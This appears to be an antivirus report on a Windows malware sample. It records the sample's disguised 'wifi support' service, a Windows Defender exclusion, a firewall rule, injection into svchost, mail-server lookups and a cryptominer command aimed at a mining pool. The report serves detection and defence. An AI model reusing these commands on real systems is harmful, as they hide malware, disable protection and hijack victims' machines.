Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\mxfsbsmd] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mxfsbsmd] 'ImagePath' = '%WINDIR%\SysWOW64\mxfsbsmd\sjfmdcgk.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\mxfsbsmd] 'ImagePath' = '%WINDIR%\SysWOW64\mxfsbsmd\sjfmdcgk.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mxfsbsmd' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\sjfmdcgk.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\sjfmdcgk.exe to %WINDIR%\syswow64\mxfsbsmd\sjfmdcgk.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK pe###link.ru
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK st###.yam.com
- DNS ASK in##.sgu.ru
- DNS ASK pa###atech.com
- DNS ASK an####am.korea.kr
- DNS ASK ko##a.kr
- DNS ASK ma###.#eidelberg.com
- DNS ASK re####.peterlink.ru
- DNS ASK he###lberg.com
- DNS ASK lo###.gaijin.net
- DNS ASK ga##avto.ru
- DNS ASK em##el.com
- DNS ASK st.##tec.com
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.in
- DNS ASK mx#.qq.com
- DNS ASK qq.com
- DNS ASK me#####nternacional.com
- DNS ASK vi#####immobilien.de
- DNS ASK mx##.#spgateway.de
- DNS ASK ra#####scherlippe.de
- DNS ASK po####.wa.gov.au
- DNS ASK ma##.#ananamama.ru
- DNS ASK ba###amama.ru
- DNS ASK ma######ay2.thunderworx.net
- DNS ASK sp####net.com.cy
- DNS ASK ic###lus.com
- DNS ASK fp##.mail.dk
- DNS ASK ma#l.dk
- DNS ASK ya##o.in
- DNS ASK ig#####ications.co.uk
- DNS ASK mx.###mexperts.com
- DNS ASK hu###rade.com
- DNS ASK ma##.villart.ru
- DNS ASK vi##art.ru
- DNS ASK mx####.euronic.fi
- DNS ASK yo###ordic.fi
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti##ali.it
- DNS ASK mx###.##tispameurope.com
- DNS ASK sc#######amt2-1.xx.fbcdn.net
- DNS ASK ma###.#olice.wa.gov.au
- DNS ASK mx#.look.ca
- DNS ASK mx.####iciodecorreo.es
- DNS ASK dy#####mobiliaria.com
- DNS ASK sm####n.orange.fr
- DNS ASK wa##doo.fr
- DNS ASK fa###ook.com
- DNS ASK gs##tic.com
- DNS ASK google.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK se##am.cz
- DNS ASK mx#######702.gslb.pphosted.com
- DNS ASK wm.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK yo#####tholidays.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ya##o.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK bi#####.herominers.com
- DNS ASK mx#.#eznam.cz
- DNS ASK sk###olsk.ru
- DNS ASK st####.xx.fbcdn.net
- DNS ASK eu#####deservicios.com
- DNS ASK ob#.###upe-salaun.com
- DNS ASK 11###yages.com
- DNS ASK mx.yandex.ru
- DNS ASK tu#.by
- DNS ASK ma###escort.com
- DNS ASK mi###teknik.com
- DNS ASK ma##.#rupo-sh.com
- DNS ASK gr###-sh.com
- DNS ASK ma##.#-email.net
- DNS ASK ho##op.com
- DNS ASK ma#####.univ-paris5.fr
- DNS ASK ne##er.fr
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK ho###lobby.com
- DNS ASK aspmx.l.google.com
- DNS ASK ur###school.org
- DNS ASK mb##ned.com
- DNS ASK mx#.##sting.reg.ru
- DNS ASK id##ect.com
- DNS ASK ic###pan.co.jp
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\mxfsbsmd\sjfmdcgk.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mxfsbsmd\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sjfmdcgk.exe" %WINDIR%\SysWOW64\mxfsbsmd\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create mxfsbsmd binPath= "%WINDIR%\SysWOW64\mxfsbsmd\sjfmdcgk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description mxfsbsmd "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start mxfsbsmd' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mxfsbsmd\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sjfmdcgk.exe" %WINDIR%\SysWOW64\mxfsbsmd\
- '%WINDIR%\syswow64\sc.exe' create mxfsbsmd binPath= "%WINDIR%\SysWOW64\mxfsbsmd\sjfmdcgk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description mxfsbsmd "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start mxfsbsmd
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o bittube.herominers.com:10281 -u bs4jqvyUpC4XEDfBZxFG5N5UNC5ZymPnPQhmabvm4z8MM5geV7LUfhpfe7GtNBVdseY3aBBQd3in8YoXzVH32LXL2vjrv1wm4.55000 -p k -k